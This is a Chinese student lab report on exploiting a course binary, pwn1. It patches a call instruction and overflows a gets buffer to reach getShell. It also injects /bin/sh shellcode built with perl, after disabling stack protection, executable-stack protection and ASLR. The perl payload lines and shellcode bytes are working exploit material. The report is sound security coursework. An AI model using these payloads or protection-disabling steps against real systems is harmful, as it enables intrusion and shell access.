2018-2019-2 20165231王杨鸿永《网络对抗》Exp1 PC平台逆向破解

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

基础知识

linux基本操作

• 管道(|)：管道是Linux由Unix那里继承过来的进程间的通信机制，它是Unix早期的一个重要通信机制。其思想是，在内存中创建一个共享文件，从而使通信双方利用这个共享文件来传递信息。由于这种方式具有单向传递数据的特点，所以这个作为传递消息的共享文件就叫做“管道”。
  管道的局限性：
  ① 数据自己读不能自己写。
  ② 数据一旦被读走，便不在管道中存在，不可反复读取。
  ③ 由于管道采用半双工通信方式。因此，数据只能在一个方向上流动。
  ④ 只能在有公共祖先的进程间使用管道。

• 输入：linux标准输入设备指的是键盘，标准输出设备指的是显示器，标准错误输出指的是显示器。
  

• 输出重定向(>)：输出重定向就是指不使用linux默认的标准输出设备显示信息，而是指定某个文件做为标准输出设备来存储文件信息。

Bof原理

Linux下进程地址空间的布局

典型的堆栈结构

栈中有return address还有局部变量，也就是函数的参数，bof攻击是利用上参数的溢出将返回地址return address用自己构造的数据覆盖掉，从而控制程序的进程。接下来就试着通过bof攻击来实现调用getshell函数。

NOP、JNE、JE、JMP、CMP汇编指令的机器码

• NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
• JNE：条件转移指令，如果不相等则跳转。（机器码：75）
• JE：条件转移指令，如果相等则跳转。（机器码：74）
• JMP：无条件转移指令。段内直接短转Jmp
• short（机器码：EB） 段内直接近转移Jmp
• near（机器码：E9） 段内间接转移 Jmp
• word（机器码：FF） 段间直接(远)转移Jmp
• far（机器码：EA）
• CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

gdb的常用命令

实验内容

直接修改程序机器指令，改变程序执行流程

下载目标文件pwn1到实验虚拟机,反汇编objdump -d pwn1 |more。下面只保留了最核心的几行代码。

指令将调用位于地址8048491处的foo函数
其对应机器指令为“e8 d7ffffff”，e8即跳转。
此时此刻EIP的值应该是下条指令的地址，即80484ba，但出现e8这条指令，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。直接 804847d-80484ba就能得到补码，是c3ffffff。

所以编辑pwn1文件 vim pwn1将其中的call指令的目标地址由d7ffffff变为c3ffffff

以下操作是在vi内

1. 按ESC键
2. 输入如下，将显示模式切换为16进制模式
   :%!xxd
3. 查找要修改的内容
   /e8d7
4. 找到后前后的内容和反汇编的对比下，确认是地方是正确的
5. 修改d7为c3
6. 转换16进制为原格式
   :%!xxd -r
7. 存盘退出vi
   :wq

enter description here

然后./pwn1运行

通过构造输入参数，造成BOF攻击，改变程序执行流

我们重新命名一个原pwn文件pwn1_2

反汇编，了解漏洞以及程序的基本功能

该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞，即foo函数中的gets函数，由于该函数不会检查用户输入的长度，通过“栈溢出”覆盖栈中保存的RET地址，可以改变程序的执行流。
函数foo中的mov(804849a)读入字符串，但系统只预留了32字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
函数main中的call调用函数foo，同时在堆栈上压上返回地址值:80484ae

确认覆盖到返回地址的字符

如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址，输入给pwn1，pwn1就会运行getShell

确认用什么值来覆盖返回地址

getShell的内存地址，通过反汇编时可以看到，即0804847d
接下来要确认下字节序，因为PC属于小端所以输入11111111222222223333333344444444\x7d\x84\x04\x08

构造输入字符串

由于没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以需要使用prel方法先生成包括这样字符串的一个文件，将getshell的内存地址写入输入字符串中，\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

将input的输入，通过管道符“|”，作为pwn1的输入
(cat input; cat) | ./pwn1_2

注入Shellcode并执行

• 准备一段Shellcode
• shellcode就是一段机器指令（code）
  通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
  所以这段机器指令被称为shellcode。
  在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
  如：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  准备工作:
• 关闭堆栈保护（gcc -fno-stack-protector）
• 关闭堆栈执行保护(execstack -s)
• 关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
• 在x32环境下
• 在Linux实践环境

apt-get install execstack //安装execstack命令
execstack -s pwn1_3 //设置堆栈可执行
execstack -q pwn1_3 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

构造要注入的payload

Linux下有两种基本构造攻击buf的方法：

• retaddr+nop+shellcode
• nop+shellcode+retaddr。
  因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
  简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边

我们这个buf够放这个shellcode了
结构为：nops+shellcode+retaddr
nop一为是了填充，二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

使用命令注入，其中前面32个A用来填满缓冲区buf，\x04\x03\x02\x01为预留的返回地址retaddr：
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
打开一个终端注入这段攻击buf：
(cat input_shellcode;cat) | ./pwn1_3

开启另一终端调试进程
用ps -ef | grep pwn1_3命令找到pwn1_3的进程号是：3937

用gdb pwn1_3、attach命令启动gdb调试这个进程：

用disassemble foo命令反汇编，通过设置断点，来查看注入buf的内存地址：

通过break *0x080484ae命令设置断点，输入countine 继续运行
在另外一个终端中按下回车使上一调试过程继续执行。再返回调试终端，使用info r esp命令查找地址：

用x/16x 0xffffd64c命令查看其存放内容，看到了0x01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址应为0xffffd650：

接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可，用命令
perl -e 'print "A" x 32;print "\x50\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

实验中遇到的问题及解决过程

1、提示段错误

• 替换\x4\x3\x2\x1时一定记住小端从后往前，每两位为一组

2、echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化提示权限不够。

• 这时就不要使用自己账号了直接sudo suroot管理员还怕权限不够。

实验感想

复习了linux虚拟机的操作和gdb调试，Kali和Ubuntu感觉最大的不同就是Ubuntu系统预设了Ctrl+Alt+T的快捷打开终端而Kali没有，导致实验需要打开另一个终端时按了很久以为电脑卡了（同配置下Kali也的确比Ubuntu要卡），后来搜了一下教程在快捷键里添加了命令。
实验上觉得汇编代码真的很神奇，可是我汇编学得不好，但是在操作教程的指点下还是完成了，希望以后的实验可以钻研出一点有趣的玩法。

什么是漏洞？漏洞有什么危害？

漏洞就是现代电子设备在硬件、软件、协议上的一些能够引发一系列安全问题，威胁用户操作的缺陷。比如这次实验的漏洞是缓冲区溢出，因为没有考虑到超出栈的空间分配的问题导致被利用，使软件的功能被改变。攻击者可以对文件进行任意的操作，也可能会执行相关的恶意代码，为木马植入、后门设置提供条件。